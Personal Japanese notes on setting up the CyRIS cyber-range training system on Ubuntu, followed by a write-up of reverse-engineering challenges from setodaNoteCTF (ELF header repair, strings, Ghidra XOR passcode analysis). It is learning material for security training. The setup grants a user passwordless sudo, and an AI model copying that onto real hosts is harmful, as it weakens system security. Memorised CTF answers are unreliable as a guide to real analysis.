KVM acceleration can be used

必要パッケージインストール

$ sudo apt -y install qemu-kvm libvirt-daemon-system libvirt-daemon virtinst bridge-utils libguestfs-tools virt-top git pssh sshpass netscript-2.4

確認

$ sudo systemctl status libvirtd
● libvirtd.service - Virtualization daemon
     Loaded: loaded (/lib/systemd/system/libvirtd.service; enabled; vendor pres>
     Active: active (running) since Sat 2021-10-30 09:29:12 JST; 40s ago

ubuntu ユーザを追加して sudo 権限をつける
https://qiita.com/white_aspara25/items/c1b9d02310b4731bfbaa

ユーザの作成

$ sudo adduser cyuser

sudo グループにcyuserを追加

$ sudo gpasswd -a cyuser sudo
Adding user cyuser to group sudo

パスワードなしでsudoできるように変更

$ sudo visudo
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL
cyuser ALL=NOPASSWD: ALL  ←追記

libvirt グループにcyuserを追加

$ sudo usermod -aG libvirt cyuser

(ubuntu16.04だと「libvirtd」なのでsudo usermod -aG libvirtd cyuser)

確認

$ su - cyuser

$ id
uid=1001(cyuser) gid=1001(cyuser) groups=1001(cyuser),27(sudo),135(libvirt)

ディレクトリ作成

$ mkdir .ssh
$ chmod 700 .ssh
$ ls -al
drwx------ 2 cyuser cyuser 4096 Oct 30 10:07 .ssh

SSH鍵の生成

$ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/cyuser/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/cyuser/.ssh/id_ed25519
Your public key has been saved in /home/cyuser/.ssh/id_ed25519.pub

確認

$ ls -la .ssh/
total 16
drwx------ 2 cyuser cyuser 4096 Oct 30 10:09 .
drwxr-xr-x 3 cyuser cyuser 4096 Oct 30 10:07 ..
-rw------- 1 cyuser cyuser  399 Oct 30 10:09 id_ed25519
-rw-r--r-- 1 cyuser cyuser   95 Oct 30 10:09 id_ed25519.pub

秘密鍵(id_ed25519)と公開鍵(id_ed25519.pub)が作成された

公開鍵をauthorized_keysとして用意し、自ホストにSSHログインできるようにしておく

$ pwd
/home/cyuser/.ssh
$ cp -p id_ed25519.pub authorized_keys
$ chmod 600 authorized_keys

確認

$ ssh cyuser@localhost

ディレクトリ作成

$ mkdir -p .config/libvirt

$ vi ~/.config/libvirt/libvirt.conf
---
uri_default = "qemu:///system"
---

ベースイメージ(basevm.tgz)を保存するディレクトリ作成とダウンロード

$ mkdir images
$ cd images
$ wget https://github.com/crond-jaist/cyris/releases/download/1.2/basevm.tgz

解凍

$ tar zxvf basevm.tgz
$ ls -ltrh
total 5.8G
-rw------- 1 cyuser cyuser 2.7K Dec  5  2020 basevm.xml
-rw-rw-r-- 1 cyuser cyuser 2.9G Feb 17  2021 basevm

cyrisのダウンロード

$ sudo apt install git

$ git clone https://github.com/crond-jaist/cyris

コンフィグ確認

$ cd cyris/

$ vi CONFIG

[config]

# The absolute path of the top CyRIS directory
# (remember to have the slash "/" at the end of the path)
cyris_path = /home/cyuser/cyris/

# The absolute path where cyber ranges are to be instantiated
# (remember to have the slash "/" at the end of the path)
cyber_range_dir = /home/cyuser/cyris/cyber_range/

# Information regarding the gateway
# (details are not used if gw_mode is set to "off")
gw_mode = off
#gw_account = gw_user
#gw_mgmt_addr = gw_hostname
#gw_inside_addr = 172.16.1.1

(ubunt 20.04)

python2インストール

$ sudo apt install -y python2

$ sudo ln -s /usr/bin/python2 /usr/bin/python

$ ls -l /usr/bin/python
lrwxrwxrwx 1 root root 16 Oct 30 10:49 /usr/bin/python -> /usr/bin/python2

python2環境作成

$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
$ sudo python2 get-pip.py

$ pip2 --version
pip 20.3.4 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)

$ pip2 install pyyaml
$ pip2 install paramiko
$ pip2 install boto3

(ubunt18.04)

pipインストール

sudo apt install python-pip
pip install pyyaml paramiko boto3

(ubuntu16.04だとpyyaml paramikoのインストールが失敗するため、以下のようにバージョン指定してpipを更新)

$ python -m pip install --upgrade pip==20.0.1

(ubuntu16.04のみ)pip更新で以下エラーが出るようになったので対処
AttributeError: 'module' object has no attribute 'SSL_ST_INIT'

$ sudo rm -r /usr/lib/python2.7/dist-packages/OpenSSL/
$ sudo pip install pyopenssl

(参考)https://yuis-programming.com/?p=1929

起動

$ /home/cyuser/cyris/main/cyris.py /home/cyuser/cyris/examples/basic.yml /home/cyuser/cyris/CONFIG
/home/cyuser/.local/lib/python2.7/site-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
#########################################################################
CyRIS v1.2: Cyber Range Instantiation System
#########################################################################
* INFO: cyris: Parse the configuration file.
* INFO: cyris: Check that prerequisite conditions are met.
* INFO: cyris: Parse the cyber range description.
/home/cyuser/cyris/main/check_description.py:61: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
  doc = yaml.load(f)
/home/cyuser/cyris/main/cyris.py:331: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
  doc = yaml.load(f)
* INFO: cyris: Perform the initial setup.
* INFO: cyris: Copy the base images.
* INFO: cyris: Start the base VMs.
* INFO: cyris: Check that the base VMs are up.
* INFO: cyris: Prepare the base VMs for setup.
Host 192.168.122.100 not found in /home/cyuser/.ssh/known_hosts
* INFO: cyris: Configure the base VMs for training.
* INFO: cyris: - Configure guest: desktop
* INFO: cyris: Shut down the base VMs before cloning.
* INFO: cyris: Distribute the base images for cloning.
* INFO: cyris: Start the cloned base images.
* INFO: cyris: Wait for the cloned VMs to start.
* ERROR: cyris: Cannot connect to VM.
  Check the log file for details: /home/cyuser/cyris/cyber_range/123/creation.log
-------------------------------------------------------------------------
* INFO: cyris: Cyber range creation status: FAILURE
  Check the log file for details: /home/cyuser/cyris/cyber_range/123/creation.log
-------------------------------------------------------------------------

失敗(未解決)とりあえずここまで

以下、雑多なメモ書きです

virshコマンドの使い方
https://qiita.com/hana_shin/items/3fc67e2e6132bd534932

$ virsh list --all
 Id   Name                State
------------------------------------
 -    desktop_cr123_1_1   shut off

以下で「virsh start desktop_cr123_1_1」が失敗している模様
cyris-master/instantiation/vm_clone/vm_clone_xml.sh

手動でも失敗

$ virsh start desktop_cr123_1_1
error: Failed to start domain desktop_cr123_1_1
error: Cannot get interface MTU on 'br123-1-1': No such device

「br123-1-1」はどうすれば・・・ 自分で作る?

/home/cyuser/cyris/cyber_range/123/create_bridges.sh は関係あるのか?

~/cyris/cyber_range/123/create_bridges.sh
ーーーーー
sudo -S /home/cyuser/cyris/instantiation/vm_clone/create_bridges/01_write_bridge_config.sh 123-1-1 123.1.1.1
sudo -S ifup br123-1-1 &
wait
echo " bridges are up"
ーーーーー

/home/cyuser/cyris/instantiation/vm_clone/create_bridges/01_write_bridge_config.sh

ーーーーー
#!/bin/bash

bridge_id=$1
bridge_addr=$2

# create logical interfaces and bridges configuration
NEWLINE=$'\n'
config="${NEW_LINE}
auto eth${bridge_id}${NEW_LINE}
iface eth${bridge_id} inet manual${NEW_LINE}
${NEW_LINE}
auto br${bridge_id}${NEW_LINE}
iface br${bridge_id} inet static${NEW_LINE}
address ${bridge_addr}${NEW_LINE}
netmask 255.255.255.0${NEW_LINE}
bridge_ports eth${bridge_id}${NEW_LINE}
bridge_stp off${NEW_LINE}
bridge_fd 0"

flock -x /etc/network/interfaces echo "${config}" >> /etc/network/interfaces
ーーーーー

/etc/network/interfacesに実行のたび、追記されている

auto eth123-1-1
iface eth123-1-1 inet manual

auto br123-1-1
iface br123-1-1 inet static
address 123.1.1.1
netmask 255.255.255.0
bridge_ports eth123-1-1
bridge_stp off
bridge_fd 0
$ sudo -S ifup br123-1-1

$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.10.125  netmask 255.255.255.0  broadcast 192.168.10.255
        inet6 2400:4051:8962:cc00:e58c:d56b:f29e:8908  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::529c:9c42:a302:a9ee  prefixlen 64  scopeid 0x20<link>
        inet6 2400:4051:8962:cc00:cdd9:8eed:958f:9718  prefixlen 64  scopeid 0x0<global>
        ether 00:0c:29:36:3b:8c  txqueuelen 1000  (Ethernet)
        RX packets 10778  bytes 2079020 (2.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6198  bytes 1171740 (1.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5096  bytes 752817 (752.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5096  bytes 752817 (752.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

virbr0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 192.168.122.1  netmask 255.255.255.0  broadcast 192.168.122.255
        ether 52:54:00:13:b7:7c  txqueuelen 1000  (Ethernet)
        RX packets 310  bytes 53458 (53.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 423  bytes 62566 (62.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

できていない

Ubuntu 20.04 LTSで固定IPアドレスの設定
https://qiita.com/zen3/items/757f96cbe522a9ad397d
Ubuntu 20.04 LTS Serverでの固定IPアドレス設定。
17.10から、IPアドレスの変更が/etc/network/interfacesをいじる方式からNetplanへ変更になっているのでメモ。(18.04 LTSも)

とのこと
/etc/netplan/99_config.yaml を作成する必要あり?

マニュアルより

ーーーーー
CyRISを動作させるには、物理ホストにUbuntu OSがインストールされている必要があります。
弊社では、Ubuntu Server 16.04 LTSおよび18.04 LTSでCyRISが正しく動作することを確認しています。
ーーーーー

18.04 LTSも設定方法変わっているらしいのだが、上記は本当か?→18.04でもifconfigでインターフェースできてなかった
16.04 LTSなら手っ取り早く動くのでは?(サポート切れているが)→16.04でもifconfigでインターフェースできてなかった

$ brctl show
bridge name     bridge id               STP enabled     interfaces
virbr0          8000.52540013b77c       yes             virbr0-nic
/etc/netplan/99_config.yaml
ーーーーー
network:
  version: 2
  renderer: networkd
  ethernets:
    eth123-1-1:
      dhcp4: false
      dhcp6: false
  bridges:
    br0:
      interfaces: [eth123-1-1]
      dhcp4: false
      dhcp6: false
      addresses: [123.1.1.1/24]
      gateway4: 192.168.122.1
      nameservers:
        addresses: [192.168.122.1, 8.8.8.8, 8.8.4.4]
      parameters:
        forward-delay: 0
        stp: false
      optional: true
ーーーーー
$ sudo netplan apply
$ ifconfig
br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 123.1.1.1  netmask 255.255.255.0  broadcast 123.1.1.255
        inet6 fe80::64c7:31ff:fecd:7b97  prefixlen 64  scopeid 0x20<link>
        ether 66:c7:31:cd:7b:97  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 39  bytes 5064 (5.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

上記のような感じでNWインターフェースを作成する?


Ubuntu18.04はPython 2.7.17 (default, Feb 27 2021, 15:10:58)

Ubuntu16.04で動かない問題の対処

Python 2.7.12 (default, Mar 1 2021, 11:38:31)

$ /home/cyuser/cyris/main/cyris.py /home/cyuser/cyris/examples/basic.yml /home/cyuser/cyris/CONFIG
/home/cyuser/.local/lib/python2.7/site-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
Traceback (most recent call last):
  File "/home/cyuser/cyris/main/cyris.py", line 33, in <module>
    import boto3
  File "/home/cyuser/.local/lib/python2.7/site-packages/boto3/__init__.py", line 16, in <module>
    from boto3.session import Session
  File "/home/cyuser/.local/lib/python2.7/site-packages/boto3/session.py", line 17, in <module>
    import botocore.session
  File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/session.py", line 30, in <module>
    import botocore.client
  File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/client.py", line 16, in <module>
    from botocore.args import ClientArgsCreator
  File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/args.py", line 26, in <module>
    from botocore.signers import RequestSigner
  File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/signers.py", line 19, in <module>
    import botocore.auth
  File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/auth.py", line 121
    pairs.append(f'{quoted_key}={quoted_value}')
                                              ^
SyntaxError: invalid syntax

以下のようにバージョンを合わせたら「invalid syntax」になる問題は解決した

$ pip install boto3==1.17.112
$ pip list
Package            Version
------------------ --------
adium-theme-ubuntu 0.3.4
bcrypt             3.1.7
boto3              1.17.112
botocore           1.20.112
cffi               1.15.0
chardet            2.3.0
cryptography       3.3.2
enum34             1.1.2
futures            3.3.0
idna               2.0
ipaddr             2.1.11
ipaddress          1.0.16
jmespath           0.10.0
libvirt-python     1.3.1
ndg-httpsclient    0.4.0
paramiko           2.8.0
pip                20.0.1
pssh               2.3.1
pyasn1             0.1.9
pycparser          2.20
pygobject          3.20.0
PyNaCl             1.4.0
pyOpenSSL          0.15.1
python-dateutil    2.8.2
PyYAML             5.4.1
requests           2.9.1
s3transfer         0.4.2
setuptools         20.7.0
six                1.16.0
unity-lens-photos  1.0
urllib3            1.26.7
wheel              0.29.0

setodaNoteCTF Writeup[Rev]

Rev

Helloworld

50

気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。
君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。
心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。

添付されたファイルを解析してフラグを得てください。
ファイルは「infected」というパスワード付き ZIP になっています。

ZIPをパスワードinfectedで解凍
VirusTotalで若干検知ありなので、仮想マシンで実行してみる

メッセージに従って引数を渡したり試したらクリア

>~\helloworld.exe
Nice try, please set some word when you run me.

>~\helloworld.exe a
Good job, but please set 'flag' when you run me.

>~\helloworld.exe flag
flag{xxxxx}`

ELF

80

監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を
白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。
手を動かして検証するというのは実に大事なことだ。

添付されたファイルを解析してフラグを入手してください。

ファイルコマンドで見ると、dataとなっていて、詳細不明

$ file elf
elf: data

stringsでみてみる

$ strings elf
XXXX
/lib64/ld-linux-x86-64.so.2
puts
__cxa_finalize
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
NDIOSZ]FH
wEICAJIUH
[]A\A]A^A_
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
:

フラグっぽいものはない
ファイル名がelfであり、stringsコマンドの結果にgcc、libc.so.6などがあるので、elfファイルっぽい
XXXXがやや気になる

ファイルをバイナリエディタでみると、先頭が不自然に以下になっている
このせいでファイルタイプが不明なのでは?
gccやghidraもうまく読み込めず)

58 58 58 58 XXXX

ELFファイルという前提で、以下に書き換える

7F 45 4C 46 .ELF

ghidraで開けるようになった
権限をつけ、実行してみる

$ chmod 755 elf

$ ./elf
flag{xxxxx}

(参考)odコマンドで先頭64バイト表示(ビックエンディアン指定)
(バイトオーダーしていないとリトルエンディアンになるっぽい)

$ od -Ax -tx --endian=big -N 64 elf
000000 7f454c46 02010100 00000000 00000000
000010 03003e00 01000000 50100000 00000000
000020 40000000 00000000 50310000 00000000
000030 00000000 40003800 0b004000 1c001b00
000040

Passcode

ひとまず、stringsコマンドで見てみる

$ strings passcode
:
Invalid passcode.
Invalid passcode. Too short.
Invalid passcode. Too long.
20150109
The passcode has been verified.
:

日付のような文字列が怪しいので試す

$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.

Flag is : flag{xxxxx}

Passcode2

150

予想以上の結果だった。今日もガラス越しに対象が目を覚ます。ここまでうまくいったことはかつてない。
端末に今日のデータを送信する。今度こそうまくいくかもしれない。

添付されたファイルを解析してフラグを得てください。

ghidraで開く

以下のコードが関係ありそう
パスコードは11桁
パスコードがそのままフラグ

undefined8 FUN_00101175(void)

{
  int iVar1;
  undefined8 uVar2;
  size_t sVar3;
  byte local_124 [4];
  undefined local_120;
  undefined local_11f;
  undefined local_11e;
  undefined local_11d;
  undefined local_11c;
  undefined local_11b;
  undefined local_11a;
  undefined local_119;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  ulong local_10;
  
  local_118 = 0;
  local_110 = 0;
  local_108 = 0;
  local_100 = 0;
  local_f8 = 0;
  local_f0 = 0;
  local_e8 = 0;
  local_e0 = 0;
  local_d8 = 0;
  local_d0 = 0;
  local_c8 = 0;
  local_c0 = 0;
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_124[0] = 0x18;
  local_124[1] = 0x1f;
  local_124[2] = 4;
  local_124[3] = 0x79;
  local_120 = 0x4f;
  local_11f = 0x5a;
  local_11e = 4;
  local_11d = 0x18;
  local_11c = 0x1a;
  local_11b = 0x1b;
  local_11a = 0x1e;
  local_119 = 0;
  printf("Enter the passcode: ");
  iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_118);
  if (iVar1 == -1) {
    uVar2 = 1;
  }
  else {
    __isoc99_scanf(&DAT_0010202c);
    if ((char)local_118 == '\0') {
      printf("Invalid passcode.");
    }
    else {
      sVar3 = strlen((char *)&local_118);
      if (sVar3 < 0xb) {
        printf("Invalid passcode. Too short.");
      }
      else {
        sVar3 = strlen((char *)&local_118);
        if (sVar3 < 0xc) {
          sVar3 = strlen((char *)&local_118);
          if (sVar3 == 0xb) {
            local_10 = 0;
            while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 && (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) {
              local_10 = local_10 + 1;
            }
            sVar3 = strlen((char *)local_124);
            if (local_10 == sVar3) {
              puts("The passcode has been verified.\n");
              printf("Flag is : flag{\%s}",&local_118);  ★mdファイル変換でエラーとなるので\%としている
            }
            else {
              printf("Invalid passcode. Nice try.");
            }
          }
          else {
            printf("Invalid passcode.");
          }
        }
        else {
          printf("Invalid passcode. Too long.");
        }
      }
    }
    putchar(10);
    uVar2 = 0;
  }
  return uVar2;
}

特に以下がポイントで、これを満たすパスコードを探す

          if (sVar3 == 0xb) {
            local_10 = 0;
            while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 && (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) {
              local_10 = local_10 + 1;
            }
            sVar3 = strlen((char *)local_124);
            if (local_10 == sVar3) {
              puts("The passcode has been verified.\n");

Excelで計算したが、local_124[local_10] ^ 0x2aは10進数で以下のように変化するハズ

XOR(DEC) XOR(bin)
50  110010
53  110101
46  101110
83  1010011

11桁だとオーバーフローさせる?(難しい)
ブレークポイントをどこに設定するかがわかれば)gdbデバッグしながら試してみるというのはできそう

$ echo 12345678901 | ./passcode2
Enter the passcode: Invalid passcode. Nice try.

総当たりも考えたが、11桁だと難しそう
(ここまで) (解けていない)

(追記)ASCIIに直すとフラグがでてくるとのこと
https://muchipopo.com/ctf/setoda-writeup/#toc4

もう少しだったと思う反面、local_124[3]より後ろのlocal_120からがghidraでは
別変数に見えていたのでやっぱり気づかなかったかな・・・

  local_124[0] = 0x18;
  local_124[1] = 0x1f;
  local_124[2] = 4;
  local_124[3] = 0x79;
  local_120 = 0x4f;
  local_11f = 0x5a;
  local_11e = 4;
  local_11d = 0x18;
  :

to_analyze

200

あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。
特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。
解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。
今日の解析対象が画面に表示される。

添付されたファイルを解析してフラグを入手してください。
ファイルは「infected」というパスワード付き ZIP になっています。

思つくのは(マルウェアとかで聞いたことがあるのは)
タイムゾーン設定
・OS言語設定
・特定のフォルダに特定のファイルがある
とか?
ghidraにて見たが、わからず
(解けていない)

(追記).NETで作られているので、デコンパイラILSPYなどで解析できるとのこと
https://muchipopo.com/ctf/setoda-writeup/#toc4